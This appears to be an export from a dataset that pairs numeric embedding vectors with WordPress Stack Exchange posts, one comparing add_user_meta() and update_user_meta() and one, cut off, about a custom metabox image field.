-0.04058837890625,
-0.0262298583984375,
0.00826263427734375,
-0.017059326171875,
-0.01116943359375,
0.06195068359375,
0.02471923828125,
-0.01763916015625,
0.0076751708984375,
0.00634765625,
0.000008165836334228516,
-0.0006361007690429688,
0.0159912109375,
-0.000457763671875,
-0.023895263671875,
-0.062744140625,
-0.015472412109375,
-0.026336669921875,
-0.0233306884765625,
0.0247344970703125,
0.0168609619140625,
0.034637451171875,
0.07391357421875,
-0.004444122314453125,
0.015869140625,
0.042022705078125,
-0.042999267578125,
-0.008209228515625,
-0.034027099609375,
-0.006175994873046875,
0.0311126708984375,
0.0020160675048828125,
0.023284912109375,
0.009368896484375,
-0.03704833984375,
-0.0169677734375,
0.007160186767578125,
0.07403564453125,
-0.0093841552734375,
-0.0218963623046875,
0.03350830078125,
0.021881103515625,
-0.0261688232421875,
-0.039459228515625,
0.043243408203125,
-0.0196685791015625,
0.04510498046875,
-0.01175689697265625,
0.048858642578125,
-0.0222625732421875,
-0.0293121337890625,
-0.0521240234375,
0.10650634765625,
-0.017242431640625,
0.005504608154296875,
0.01500701904296875,
0.041839599609375,
-0.03778076171875,
0.027069091796875,
0.0011014938354492188,
0.05609130859375,
0.0168914794921875,
0.004085540771484375,
-0.007457733154296875,
-0.0087890625,
0.006229400634765625,
0.0465087890625,
0.0924072265625,
0.01165771484375,
-0.033355712890625,
0.0015802383422851562,
0.0726318359375,
0.07275390625,
0.016632080078125,
0.021331787109375,
-0.0183868408203125,
0.0311431884765625,
0.035858154296875,
-0.048919677734375,
0.01983642578125,
-0.004611968994140625,
-0.0272064208984375,
0.0007166862487792969,
0.020355224609375,
0.0204010009765625,
0.010223388671875,
0.012298583984375,
-0.03363037109375,
0.009979248046875,
0.0212554931640625,
0.0165252685546875,
0.020660400390625,
-0.0237274169921875,
-0.0184783935546875,
-0.039520263671875,
0.01525115966796875,
-0.0277252197265625,
0.034576416015625,
-0.01027679443359375,
-0.0165557861328125,
0.0013380050659179688,
-0.0008969306945800781,
-0.01092529296875,
0.0051116943359375,
-0.01212310791015625,
0.031951904296875,
-0.0192718505859375,
0.0023632049560546875,
0.0018701553344726562,
0.00830841064453125,
-0.00978851318359375,
0.043426513671875,
0.00606536865234375,
-0.00878143310546875,
-0.035797119140625,
-0.037445068359375,
0.002727508544921875,
0.00872039794921875,
0.042877197265625,
-0.0026092529296875,
0.049530029296875,
-0.00958251953125,
0.0021915435791015625,
0.046783447265625,
0.0164031982421875,
0.013397216796875,
0.01132965087890625,
0.0227203369140625,
0.06884765625,
-0.06378173828125,
0.0328369140625,
-0.01885986328125,
-0.034423828125,
0.006481170654296875,
0.034149169921875,
0.039642333984375,
0.01275634765625,
0.01390838623046875,
-0.0214080810546875,
-0.005130767822265625,
0.0205230712890625,
0.00113677978515625,
-0.007610321044921875,
-0.025299072265625,
-0.037811279296875,
0.0010175704956054688,
0.051300048828125,
0.03515625,
0.025177001953125,
0.0653076171875,
0.05303955078125,
-0.0124664306640625,
-0.004985809326171875,
0.052642822265625,
-0.0090179443359375,
-0.0014591217041015625,
-0.054595947265625,
-0.004390716552734375,
0.006744384765625,
-0.0108184814453125,
0.0054931640625,
-0.032867431640625,
0.046966552734375,
0.03424072265625,
0.024505615234375,
0.005214691162109375,
-0.0004940032958984375,
-0.007030487060546875,
-0.0006566047668457031,
-0.00414276123046875,
0.04302978515625,
-0.04937744140625,
-0.01486968994140625,
0.006893157958984375,
-0.019378662109375,
0.01605224609375,
0.0282745361328125,
-0.0174713134765625,
0.0187530517578125,
0.0118560791015625,
-0.0347900390625,
0.0122528076171875,
0.0101776123046875,
0.00567626953125,
-0.01525115966796875,
-0.004241943359375,
-0.017303466796875,
-0.03619384765625,
0.002979278564453125,
-0.002567291259765625,
0.010650634765625,
-0.009033203125,
0.08953857421875,
-0.022796630859375,
-0.0210113525390625,
-0.0028705596923828125,
-0.00823974609375,
0.01244354248046875,
0.01380157470703125,
-0.02545166015625,
0.01409149169921875,
0.0017271041870117188,
-0.011138916015625,
-0.056732177734375,
0.06927490234375,
0.005645751953125,
0.004627227783203125,
0.062744140625,
0.010894775390625,
-0.0079193115234375,
-0.035308837890625,
-0.0231475830078125,
-0.057342529296875,
-0.05645751953125,
-0.0259857177734375,
0.040679931640625,
-0.034423828125,
-0.03363037109375,
-0.021820068359375,
0.0313720703125,
-0.01512908935546875,
-0.01361846923828125,
-0.024078369140625,
-0.0179595947265625,
-0.041412353515625,
0.0189361572265625,
0.0006680488586425781,
-0.0164947509765625,
0.006458282470703125,
-0.01129913330078125,
-0.00611114501953125,
0.01149749755859375,
-0.0038471221923828125,
0.00936126708984375,
-0.024932861328125,
-0.06158447265625,
0.0017557144165039062,
-0.00034332275390625,
0.00977325439453125,
-0.0035190582275390625,
-0.0045013427734375,
-0.0295867919921875,
-0.03985595703125,
-0.038818359375,
-0.006984710693359375,
0.01268768310546875,
-0.03369140625,
0.004398345947265625,
0.0000922083854675293,
-0.07275390625,
-0.016815185546875,
-0.015411376953125,
0.0210723876953125,
-0.018218994140625,
-0.01055145263671875,
-0.0137176513671875,
-0.048370361328125,
0.040924072265625,
-0.034912109375,
0.0288848876953125,
0.00946807861328125,
0.051361083984375,
-0.0552978515625,
-0.044525146484375,
-0.00588226318359375,
0.044097900390625,
-0.04058837890625,
0.025848388671875,
0.0693359375,
-0.02166748046875,
-0.0254058837890625,
0.0031948089599609375,
0.0117950439453125,
0.047271728515625,
-0.072509765625,
0.01316070556640625,
0.005054473876953125,
0.0064239501953125,
-0.0491943359375,
-0.049530029296875,
0.038909912109375,
-0.042205810546875,
-0.0413818359375,
-0.028106689453125,
0.0162811279296875,
0.0182037353515625,
-0.03851318359375,
-0.08099365234375,
0.041595458984375,
-0.017669677734375,
-0.026031494140625,
-0.043212890625,
0.00977325439453125,
-0.017181396484375,
0.02435302734375,
-0.0112457275390625,
-0.018707275390625,
-0.0147247314453125,
0.022247314453125,
0.012725830078125,
0.0272674560546875,
-0.0312042236328125,
0.051910400390625,
-0.025054931640625,
0.05963134765625,
0.037506103515625,
-0.0102691650390625,
-0.02459716796875,
0.030914306640625,
0.0011472702026367188,
0.037689208984375,
-0.012298583984375,
0.06304931640625,
0.01139068603515625,
0.0019359588623046875,
-0.006786346435546875,
-0.0133209228515625,
-0.021453857421875,
-0.028472900390625,
0.031707763671875,
0.056854248046875,
0.0072174072265625,
-0.00792694091796875,
-0.054840087890625,
-0.0292510986328125,
0.0240478515625,
-0.01959228515625,
0.004871368408203125,
-0.0377197265625,
0.0147857666015625,
-0.0175323486328125,
0.00820159912109375,
-0.01261138916015625,
-0.0007853507995605469,
-0.02447509765625,
-0.019012451171875,
0.002033233642578125,
-0.016448974609375,
-0.0117950439453125,
0.053924560546875,
0.0469970703125,
-0.044464111328125,
0.00629425048828125,
-0.01580810546875,
-0.00222015380859375,
0.00678253173828125,
-0.04833984375,
-0.00795745849609375,
0.016998291015625,
-0.01043701171875,
0.02691650390625,
0.003772735595703125,
-0.0071563720703125,
-0.0283660888671875,
0.0210113525390625,
-0.03057861328125,
0.0110321044921875,
0.0212554931640625,
0.0231475830078125,
-0.005519866943359375,
-0.0034732818603515625,
0.0296630859375,
-0.01203155517578125,
0.00537109375,
-0.0196685791015625,
-0.0265350341796875,
0.060638427734375,
0.01084136962890625,
-0.036376953125,
0.04180908203125,
-0.044830322265625,
0.0195770263671875,
0.0391845703125,
0.04156494140625,
0.005985260009765625,
0.004177093505859375,
-0.047821044921875,
0.0101470947265625,
-0.00011831521987915039
] |
2c9e63da7ff54421a733d3adada4ae190af4c7dd
|
Wordpress Stackexchange
Q: add_user_meta() vs update_user_meta() I'm looking at the docs for add_user_meta() vs update_user_meta().
If the current meta_key does not exist for a user, will update_user_meta() automatically add the meta_key for that user or do you have to define the meta_key with add_user_meta() first?
A: You have already found out that using update_user_meta() if the meta field for the user does not exist, it will be added. ie update_user_meta() can do the task of add_user_meta()
However, the difference between them is the return values
update_user_meta()
returns False if no change was made (if the new value was the same as previous value) or if the update failed, umeta_id if the value was different and the update a success.
NOTE: as of v3.4.2 it returns the umeta_id on success (instead of true) and false on failure
add_user_meta()
return Primary key id for success. No value (blank) for failure. Primary key id for success.
|
Q: add_user_meta() vs update_user_meta() I'm looking at the docs for add_user_meta() vs update_user_meta().
If the current meta_key does not exist for a user, will update_user_meta() automatically add the meta_key for that user or do you have to define the meta_key with add_user_meta() first?
A: You have already found out that using update_user_meta() if the meta field for the user does not exist, it will be added. ie update_user_meta() can do the task of add_user_meta()
However, the difference between them is the return values
update_user_meta()
returns False if no change was made (if the new value was the same as previous value) or if the update failed, umeta_id if the value was different and the update a success.
NOTE: as of v3.4.2 it returns the umeta_id on success (instead of true) and false on failure
add_user_meta()
return Primary key id for success. No value (blank) for failure. Primary key id for success.
A: Thanks for your explanation, i will just add to yours the update_user_meta() also return true if successful update happened.
In short - It returns Meta ID if the key didn't exist, true on successful update, false on failure.
|
wordpress
|
{
"language": "en",
"length": 190,
"provenance": "stackexchange_00019.jsonl.gz:436342",
"question_score": "12",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/111839"
}
|
[
0.057373046875,
-0.0268402099609375,
0.03173828125,
-0.0230255126953125,
-0.01995849609375,
-0.0178680419921875,
0.007965087890625,
-0.032867431640625,
0.01081085205078125,
0.0679931640625,
-0.00804901123046875,
-0.03094482421875,
0.07135009765625,
-0.01080322265625,
-0.04901123046875,
-0.0159759521484375,
0.02703857421875,
-0.007427215576171875,
0.007381439208984375,
-0.020172119140625,
0.0213775634765625,
-0.005023956298828125,
0.00839996337890625,
0.01500701904296875,
0.0198211669921875,
-0.0797119140625,
-0.00470733642578125,
0.002758026123046875,
-0.01763916015625,
-0.0232086181640625,
0.0101776123046875,
0.068603515625,
0.00887298583984375,
-0.00018715858459472656,
0.0011997222900390625,
-0.0330810546875,
0.032745361328125,
-0.024444580078125,
0.00260162353515625,
0.00293731689453125,
0.011077880859375,
0.006847381591796875,
-0.0189361572265625,
-0.009521484375,
-0.0193634033203125,
-0.0556640625,
0.039276123046875,
-0.0024394989013671875,
0.0384521484375,
0.046234130859375,
0.0169677734375,
0.00998687744140625,
-0.0017518997192382812,
0.005153656005859375,
0.019256591796875,
0.0233917236328125,
-0.0169525146484375,
-0.0116424560546875,
0.033477783203125,
0.053314208984375,
0.00080108642578125,
-0.01372528076171875,
0.0059967041015625,
-0.0626220703125,
0.02459716796875,
-0.0165252685546875,
-0.034912109375,
0.034759521484375,
-0.029541015625,
0.02532958984375,
0.00827789306640625,
-0.037628173828125,
-0.0171356201171875,
0.0177764892578125,
-0.038238525390625,
-0.016754150390625,
0.043182373046875,
-0.005123138427734375,
-0.000033736228942871094,
0.035186767578125,
0.004634857177734375,
0.03436279296875,
0.004840850830078125,
-0.034088134765625,
0.006927490234375,
-0.00945281982421875,
-0.0226593017578125,
-0.030487060546875,
-0.0295257568359375,
-0.0236663818359375,
-0.0051116943359375,
-0.11468505859375,
-0.030517578125,
0.0243377685546875,
0.020965576171875,
-0.0350341796875,
0.0228118896484375,
0.0765380859375,
-0.0291748046875,
-0.01442718505859375,
0.008941650390625,
-0.029815673828125,
-0.007137298583984375,
-0.030120849609375,
0.0022754669189453125,
0.04119873046875,
-0.007244110107421875,
-0.034454345703125,
-0.0079345703125,
0.00772857666015625,
0.0017375946044921875,
-0.02667236328125,
-0.01485443115234375,
-0.034332275390625,
0.01032257080078125,
0.01200103759765625,
-0.048431396484375,
0.03802490234375,
0.01038360595703125,
0.024169921875,
0.000972747802734375,
0.026214599609375,
0.002132415771484375,
-0.06793212890625,
0.01165771484375,
-0.008514404296875,
-0.0206298828125,
-0.00948333740234375,
-0.03802490234375,
0.00991058349609375,
-0.0560302734375,
0.0213623046875,
0.097900390625,
0.042633056640625,
0.0207061767578125,
-0.02252197265625,
-0.038116455078125,
-0.04718017578125,
-0.040679931640625,
0.07586669921875,
-0.049163818359375,
-0.104736328125,
-0.01523590087890625,
-0.0046539306640625,
-0.0251617431640625,
0.0567626953125,
0.00917816162109375,
-0.0233306884765625,
-0.00948333740234375,
-0.06732177734375,
-0.037322998046875,
-0.050811767578125,
-0.00453948974609375,
-0.00788116455078125,
0.0175628662109375,
0.01451873779296875,
0.0011920928955078125,
-0.0114898681640625,
-0.012847900390625,
0.0101470947265625,
-0.0029125213623046875,
-0.01556396484375,
0.0104217529296875,
0.0181427001953125,
-0.01458740234375,
0.0189361572265625,
-0.00528717041015625,
0.002574920654296875,
0.0257110595703125,
0.055755615234375,
0.052215576171875,
0.02880859375,
0.0310211181640625,
-0.00554656982421875,
-0.01190948486328125,
-0.0472412109375,
0.01313018798828125,
0.046600341796875,
0.011627197265625,
-0.020050048828125,
-0.02801513671875,
-0.047149658203125,
0.05450439453125,
-0.0251617431640625,
-0.060516357421875,
0.031036376953125,
-0.006511688232421875,
0.05072021484375,
0.04132080078125,
-0.01126861572265625,
0.032470703125,
0.0107879638671875,
0.0166778564453125,
0.016754150390625,
0.022186279296875,
-0.05615234375,
0.0027904510498046875,
-0.0261077880859375,
0.00618743896484375,
-0.01479339599609375,
0.0225830078125,
0.022125244140625,
0.0009503364562988281,
-0.0240936279296875,
-0.07928466796875,
0.004848480224609375,
-0.0297698974609375,
0.0538330078125,
-0.032257080078125,
0.0165557861328125,
0.00811767578125,
-0.053924560546875,
-0.0129547119140625,
0.043121337890625,
0.00946807861328125,
-0.03466796875,
-0.061553955078125,
0.03216552734375,
-0.006011962890625,
0.062255859375,
-0.0263824462890625,
-0.00691986083984375,
-0.0215301513671875,
-0.057037353515625,
0.025634765625,
0.0007643699645996094,
-0.005706787109375,
-0.0064239501953125,
0.0277252197265625,
0.0155181884765625,
-0.032928466796875,
0.017669677734375,
0.0283660888671875,
-0.0083770751953125,
-0.059478759765625,
0.006103515625,
-0.03448486328125,
-0.071044921875,
-0.00894927978515625,
0.07135009765625,
0.02313232421875,
-0.01049041748046875,
-0.00833892822265625,
0.04052734375,
0.01495361328125,
0.010009765625,
0.0282135009765625,
0.00823211669921875,
0.00954437255859375,
0.0171356201171875,
0.00591278076171875,
-0.00887298583984375,
0.0022983551025390625,
-0.07183837890625,
0.004932403564453125,
0.04034423828125,
-0.043365478515625,
-0.0121002197265625,
-0.006591796875,
-0.033905029296875,
0.00106048583984375,
-0.054351806640625,
0.00556182861328125,
-0.0293731689453125,
0.024169921875,
0.0079193115234375,
0.03759765625,
0.0234832763671875,
-0.0199432373046875,
-0.0001823902130126953,
0.01485443115234375,
0.0269012451171875,
-0.0004954338073730469,
0.047149658203125,
-0.00435638427734375,
0.07574462890625,
-0.039947509765625,
-0.01548004150390625,
0.0137176513671875,
0.041046142578125,
-0.031097412109375,
-0.018035888671875,
0.001232147216796875,
-0.0053253173828125,
0.0279388427734375,
0.00782012939453125,
0.03240966796875,
-0.0214996337890625,
0.0028247833251953125,
0.0024776458740234375,
0.039703369140625,
-0.01169586181640625,
-0.0272674560546875,
0.0081024169921875,
0.0115966796875,
-0.032073974609375,
-0.045257568359375,
-0.0294342041015625,
0.0306549072265625,
-0.061065673828125,
0.00827789306640625,
0.0604248046875,
-0.030609130859375,
0.0110321044921875,
-0.004241943359375,
-0.00943756103515625,
-0.04742431640625,
0.038482666015625,
0.01032257080078125,
-0.045318603515625,
0.0092315673828125,
0.040374755859375,
0.044342041015625,
0.040496826171875,
0.033294677734375,
0.004138946533203125,
0.020751953125,
0.0423583984375,
-0.004791259765625,
-0.0523681640625,
-0.0408935546875,
-0.050445556640625,
0.0008559226989746094,
-0.0086517333984375,
-0.0291595458984375,
0.0010395050048828125,
0.0128326416015625,
0.028564453125,
0.01898193359375,
-0.041717529296875,
-0.048614501953125,
-0.05731201171875,
-0.059967041015625,
-0.02276611328125,
-0.004337310791015625,
-0.003570556640625,
-0.00971221923828125,
0.05157470703125,
-0.0005855560302734375,
-0.01128387451171875,
-0.00699615478515625,
-0.00679779052734375,
0.0006985664367675781,
-0.015655517578125,
0.04791259765625,
-0.023040771484375,
-0.0015850067138671875,
0.01335906982421875,
0.003021240234375,
0.032440185546875,
-0.050445556640625,
-0.0218658447265625,
0.0012121200561523438,
-0.03985595703125,
0.045562744140625,
-0.0166778564453125,
-0.032806396484375,
0.034332275390625,
0.07177734375,
-0.0063629150390625,
-0.027587890625,
0.0279083251953125,
-0.03271484375,
0.03436279296875,
0.0111236572265625,
-0.0023708343505859375,
0.0161895751953125,
0.0238037109375,
-0.0178070068359375,
0.023101806640625,
-0.0294952392578125,
0.01331329345703125,
-0.01515960693359375,
-0.027191162109375,
-0.04071044921875,
0.0209808349609375,
-0.00269317626953125,
-0.035491943359375,
0.007144927978515625,
-0.0238037109375,
0.00887298583984375,
-0.006290435791015625,
0.0174102783203125,
-0.0131378173828125,
-0.0240020751953125,
0.03765869140625,
0.0020503997802734375,
0.04150390625,
-0.067626953125,
-0.0225830078125,
-0.06268310546875,
0.06781005859375,
0.034576416015625,
-0.0288238525390625,
-0.00284576416015625,
0.0167236328125,
-0.052001953125,
0.0012454986572265625,
0.0094146728515625,
0.0220947265625,
-0.03564453125,
-0.0360107421875,
-0.032562255859375,
-0.0149993896484375,
-0.02655029296875,
0.043701171875,
-0.01560211181640625,
-0.0283203125,
0.0230560302734375,
-0.03851318359375,
0.025299072265625,
0.000591278076171875,
0.0230712890625,
-0.037445068359375,
0.0055694580078125,
-0.035736083984375,
-0.0207061767578125,
-0.0012722015380859375,
-0.00804901123046875,
0.004604339599609375,
0.0034465789794921875,
0.0109710693359375,
0.0039825439453125,
0.0189971923828125,
0.0034656524658203125,
0.005275726318359375,
-0.00640869140625,
-0.01305389404296875,
0.0261077880859375,
-0.0200042724609375,
-0.00867462158203125,
-0.01458740234375,
-0.01316070556640625,
-0.043060302734375,
-0.053253173828125,
-0.046966552734375,
-0.042755126953125,
0.032989501953125,
-0.0186614990234375,
-0.016265869140625,
-0.02093505859375,
-0.01197052001953125,
-0.0171661376953125,
0.0164794921875,
-0.01230621337890625,
0.0007510185241699219,
-0.0123291015625,
-0.03985595703125,
0.034423828125,
0.007167816162109375,
-0.0092926025390625,
-0.00707244873046875,
0.07525634765625,
0.030792236328125,
-0.0187530517578125,
0.015899658203125,
0.037841796875,
0.0219879150390625,
0.0078582763671875,
0.00540924072265625,
0.004566192626953125,
-0.0146026611328125,
0.00958251953125,
0.0036869049072265625,
0.05712890625,
-0.0308685302734375,
0.04620361328125,
-0.035675048828125,
-0.033966064453125,
0.038909912109375,
-0.016387939453125,
-0.024993896484375,
0.01093292236328125,
-0.01152801513671875,
-0.00429534912109375,
-0.00914764404296875,
0.00724029541015625,
0.0173492431640625,
-0.0240020751953125,
-0.027496337890625,
-0.0198516845703125,
0.007366180419921875,
-0.0218658447265625,
0.0011119842529296875,
-0.0028076171875,
-0.0037746429443359375,
-0.03350830078125,
-0.034942626953125,
-0.0090179443359375,
-0.032073974609375,
-0.0225982666015625,
-0.01494598388671875,
0.004848480224609375,
-0.027740478515625,
-0.01806640625,
-0.035675048828125,
-0.0092926025390625,
0.09014892578125,
-0.00899505615234375,
-0.046722412109375,
-0.0093994140625,
-0.0277557373046875,
0.035552978515625,
0.032012939453125,
0.047454833984375,
0.06109619140625,
-0.028289794921875,
-0.0186309814453125,
-0.03692626953125,
-0.0198516845703125,
-0.017913818359375,
-0.0701904296875,
-0.0118255615234375,
-0.009124755859375,
-0.0178375244140625,
-0.02667236328125,
0.0726318359375,
-0.03363037109375,
0.0270538330078125,
-0.016448974609375,
0.03399658203125,
0.054840087890625,
0.0083465576171875,
0.0226898193359375,
-0.001071929931640625,
-0.0340576171875,
0.0156707763671875,
-0.0093231201171875,
0.0008797645568847656,
0.01325225830078125,
0.0146026611328125,
0.00830078125,
0.0205078125,
0.00958251953125,
-0.01085662841796875,
-0.03656005859375,
0.00513458251953125,
0.01334381103515625,
-0.0364990234375,
-0.05322265625,
-0.017242431640625,
0.01470184326171875,
0.01255035400390625,
-0.041351318359375,
0.0006103515625,
0.0219879150390625,
0.00984954833984375,
0.045867919921875,
-0.03179931640625,
0.0263214111328125,
-0.0269012451171875,
-0.01513671875,
-0.00006449222564697266,
-0.006328582763671875,
-0.0000782012939453125,
0.018280029296875,
0.0220489501953125,
-0.015106201171875,
-0.0367431640625,
0.033050537109375,
-0.01097869873046875,
-0.01306915283203125,
-0.04052734375,
0.04498291015625,
-0.0131072998046875,
0.00267791748046875,
0.01457977294921875,
-0.0230255126953125,
-0.005016326904296875,
-0.00901031494140625,
-0.0439453125,
-0.00896453857421875,
-0.00943756103515625,
-0.03192138671875,
-0.0029048919677734375,
0.00426483154296875,
0.0035915374755859375,
0.0212554931640625,
-0.0060882568359375,
-0.0086669921875,
-0.0179443359375,
0.0183563232421875,
0.016387939453125,
0.048919677734375,
0.00971221923828125,
0.048248291015625,
-0.016204833984375,
0.05535888671875,
0.028839111328125,
0.03277587890625,
-0.00879669189453125,
-0.041656494140625,
-0.0155181884765625,
-0.021728515625,
0.004680633544921875,
-0.01287078857421875,
0.034698486328125,
-0.00384521484375,
0.0210113525390625,
-0.00341033935546875,
0.0013380050659179688,
0.00582122802734375,
-0.0014810562133789062,
-0.01126861572265625,
0.0262451171875,
0.045013427734375,
-0.007114410400390625,
0.0714111328125,
-0.02374267578125,
-0.01320648193359375,
-0.00527191162109375,
-0.00536346435546875,
0.0048980712890625,
-0.008544921875,
-0.0140380859375,
0.0170745849609375,
-0.06011962890625,
0.069091796875,
0.052337646484375,
-0.01215362548828125,
0.0183868408203125,
-0.012420654296875,
0.00778961181640625,
0.029693603515625,
-0.0506591796875,
-0.018951416015625,
0.059722900390625,
0.06060791015625,
-0.00710296630859375,
-0.01458740234375,
0.0518798828125,
-0.0235443115234375,
0.0218658447265625,
0.06866455078125,
0.0626220703125,
-0.07891845703125,
0.006038665771484375,
0.0046844482421875,
-0.01708984375,
0.038848876953125,
-0.01006317138671875,
-0.01953125,
-0.0406494140625,
0.04852294921875,
-0.0298614501953125,
-0.015960693359375,
0.01776123046875,
-0.0031986236572265625,
-0.037689208984375,
-0.03338623046875,
-0.051544189453125,
0.0166168212890625,
0.09991455078125,
0.0125579833984375,
-0.061065673828125,
0.0233001708984375,
0.0029544830322265625,
-0.0186004638671875,
-0.0056304931640625,
-0.049346923828125,
-0.054168701171875,
-0.020782470703125,
-0.031036376953125,
-0.0192108154296875,
0.0291900634765625,
0.0318603515625,
0.07720947265625,
0.0210723876953125,
0.0304718017578125,
-0.021240234375,
-0.009429931640625,
0.0293426513671875,
-0.0443115234375,
-0.0576171875,
-0.0094146728515625,
0.018585205078125,
-0.0168609619140625,
0.0360107421875,
0.0082244873046875,
-0.056427001953125,
-0.0014543533325195312,
-0.057220458984375,
0.04449462890625,
-0.03466796875,
-0.0070343017578125,
0.00396728515625,
-0.0007548332214355469,
0.009033203125,
0.033050537109375,
0.0362548828125,
-0.00399017333984375,
0.0071868896484375,
0.037933349609375,
-0.023590087890625,
-0.008270263671875,
0.049713134765625,
-0.06756591796875,
0.049072265625,
0.0240478515625,
-0.0008544921875,
-0.052825927734375,
0.0208282470703125,
0.0166778564453125,
0.006038665771484375,
-0.06787109375,
0.08636474609375,
-0.0213470458984375,
0.0229644775390625,
-0.07855224609375,
0.017486572265625,
-0.0197906494140625,
-0.03753662109375,
0.070556640625,
0.040863037109375,
-0.057708740234375,
-0.0248260498046875,
0.00095367431640625,
0.0163421630859375,
-0.00582122802734375,
0.046295166015625,
0.0025272369384765625,
0.030853271484375,
0.04443359375,
-0.00315093994140625,
0.041046142578125,
-0.0109405517578125,
-0.04815673828125,
0.0171356201171875,
0.005889892578125,
-0.00579071044921875,
-0.0191802978515625,
0.0875244140625,
-0.002925872802734375,
-0.036712646484375,
0.0013399124145507812,
-0.0019025802612304688,
0.00807952880859375,
0.00922393798828125,
-0.0118408203125,
0.03668212890625,
0.0308380126953125,
-0.00868988037109375,
0.039642333984375,
0.00870513916015625,
0.0221099853515625,
0.0261688232421875,
0.01409912109375,
0.040283203125,
0.014129638671875,
0.01483154296875,
0.02825927734375,
-0.001712799072265625,
0.07635498046875,
0.041229248046875,
0.017120361328125,
-0.0308990478515625,
0.0078887939453125,
0.0537109375,
0.08746337890625,
-0.0518798828125,
-0.0308380126953125,
0.00472259521484375,
-0.006855010986328125,
-0.0036220550537109375,
-0.00182342529296875,
-0.0015115737915039062,
-0.045806884765625,
0.0006628036499023438,
-0.05535888671875,
0.0285491943359375,
0.01222991943359375,
-0.0009732246398925781,
-0.01483917236328125,
0.01187896728515625,
-0.02783203125,
0.037567138671875,
-0.05474853515625,
0.032012939453125,
0.0249176025390625,
0.0103759765625,
0.00673675537109375,
0.0183563232421875,
0.06768798828125,
0.00015342235565185547,
-0.039154052734375,
0.0301055908203125,
-0.00853729248046875,
0.03839111328125,
-0.0572509765625,
-0.04119873046875,
0.0362548828125,
0.0428466796875,
0.0020694732666015625,
0.04840087890625,
0.051239013671875,
0.050140380859375,
-0.007663726806640625,
-0.0091705322265625,
0.0181732177734375,
-0.0305328369140625,
0.007663726806640625,
-0.0224456787109375,
0.0247039794921875,
-0.004520416259765625,
0.016448974609375,
-0.0287017822265625,
0.04571533203125,
0.008453369140625,
0.015960693359375,
0.052337646484375,
0.0109100341796875,
-0.006076812744140625,
0.02789306640625,
0.0197296142578125,
0.07373046875,
0.055694580078125,
0.007572174072265625,
0.006099700927734375,
0.006591796875,
-0.0214691162109375,
-0.0106048583984375,
0.018646240234375,
-0.01971435546875,
0.03656005859375,
-0.006069183349609375,
-0.0220184326171875,
0.038818359375,
0.01276397705078125,
-0.00537872314453125,
0.024810791015625,
0.022003173828125,
-0.0215911865234375,
-0.0401611328125,
-0.0024013519287109375,
0.027252197265625,
-0.022216796875,
-0.038482666015625,
0.059295654296875,
-0.0013055801391601562,
-0.0276641845703125,
-0.0188751220703125,
-0.0276031494140625,
0.0160675048828125,
-0.0249786376953125,
0.030181884765625,
0.0200653076171875,
-0.0164642333984375,
-0.01067352294921875,
-0.0099334716796875,
0.01154327392578125,
0.039764404296875,
0.00225830078125,
0.004180908203125,
0.006458282470703125,
0.01611328125,
-0.00527191162109375,
-0.00859832763671875,
-0.027435302734375,
-0.0253753662109375,
-0.0287017822265625,
0.0022983551025390625,
0.0283355712890625,
0.00965118408203125,
-0.024810791015625,
0.002582550048828125,
-0.0024509429931640625,
-0.0161895751953125,
0.004940032958984375,
0.020294189453125,
-0.006572723388671875,
0.0107879638671875,
-0.00222015380859375,
0.03265380859375,
0.01239776611328125,
-0.018310546875,
0.035308837890625,
-0.0032672882080078125,
-0.0058746337890625,
0.0300140380859375,
-0.0238037109375,
0.033966064453125,
0.037261962890625,
0.038970947265625,
-0.038482666015625,
0.00426483154296875,
0.035491943359375,
-0.0108184814453125,
0.04010009765625,
-0.022064208984375,
-0.030548095703125,
-0.041534423828125,
0.01702880859375,
0.023529052734375,
-0.0015611648559570312,
0.00959014892578125,
-0.051666259765625,
0.0133819580078125,
0.03289794921875,
0.0010843276977539062,
-0.036834716796875,
0.01552581787109375,
-0.002410888671875,
0.03729248046875,
-0.0273590087890625,
-0.06610107421875,
0.0123748779296875,
0.03668212890625,
0.006618499755859375,
0.015045166015625,
-0.022003173828125,
-0.0177154541015625,
0.012298583984375,
-0.004486083984375,
0.002140045166015625,
0.00681304931640625,
-0.0206756591796875,
-0.00408172607421875,
-0.0019121170043945312,
0.032257080078125,
0.0201416015625,
-0.042633056640625,
0.0058441162109375,
-0.0186920166015625,
0.032379150390625,
-0.037200927734375,
-0.01059722900390625,
-0.06640625,
-0.0008983612060546875,
-0.038848876953125,
0.04180908203125,
0.0545654296875,
-0.022705078125,
-0.09649658203125,
0.06219482421875,
-0.04046630859375,
-0.032440185546875,
-0.00591278076171875,
-0.01824951171875,
-0.0162506103515625,
0.03759765625,
0.0026264190673828125,
-0.035064697265625,
-0.01247406005859375,
0.031646728515625,
0.016357421875,
0.001941680908203125,
0.024749755859375,
0.0126953125,
-0.0498046875,
0.0009741783142089844,
-0.0010471343994140625,
-0.0003502368927001953,
-0.0204620361328125,
0.000012993812561035156,
0.00782012939453125,
0.02545166015625,
-0.02606201171875,
-0.0094757080078125,
0.005069732666015625,
0.01348876953125,
-0.0292816162109375,
-0.0301666259765625,
-0.0301361083984375,
0.00968170166015625,
0.1298828125,
0.034088134765625,
0.02630615234375,
-0.055267333984375,
-0.007633209228515625,
-0.003814697265625,
-0.049835205078125,
-0.0167236328125,
0.0286865234375,
-0.0775146484375,
-0.01666259765625,
0.0065155029296875,
-0.028045654296875,
0.0161285400390625,
-0.002529144287109375,
-0.040374755859375,
0.0250244140625,
0.0423583984375,
0.013427734375,
-0.043243408203125,
-0.021209716796875,
0.0723876953125,
-0.05169677734375,
-0.01593017578125,
0.036285400390625,
-0.0071258544921875,
0.002803802490234375,
0.0298309326171875,
0.0197296142578125,
-0.001346588134765625,
0.0032901763916015625,
0.019683837890625,
0.0264434814453125,
0.00018227100372314453,
0.00449371337890625,
-0.0160064697265625,
0.03131103515625,
0.0193328857421875,
-0.018798828125,
0.032470703125,
-0.026763916015625,
0.06475830078125,
-0.012420654296875,
0.0294036865234375,
0.0017604827880859375,
-0.01410675048828125,
-0.0282440185546875,
0.0394287109375,
-0.00824737548828125,
-0.0173492431640625,
0.007038116455078125,
-0.01329803466796875,
-0.003948211669921875,
-0.005023956298828125,
0.0126190185546875,
-0.0596923828125,
0.047271728515625,
-0.0007505416870117188,
-0.0020503997802734375,
0.0460205078125
] |
d67be81c492cd4380c9da417b4f2b4b9d548e728
|
Wordpress Stackexchange
Q: How to get custom metabox image field? i have custom metabox with the image field, i can upload image from wp-admin to this metabox, metabox code
array(
'name' => 'Burst Image',
'desc' => 'Crop your image to exact dimension before upload!',
'id' => 'burst_img',
'type' => 'image'
)
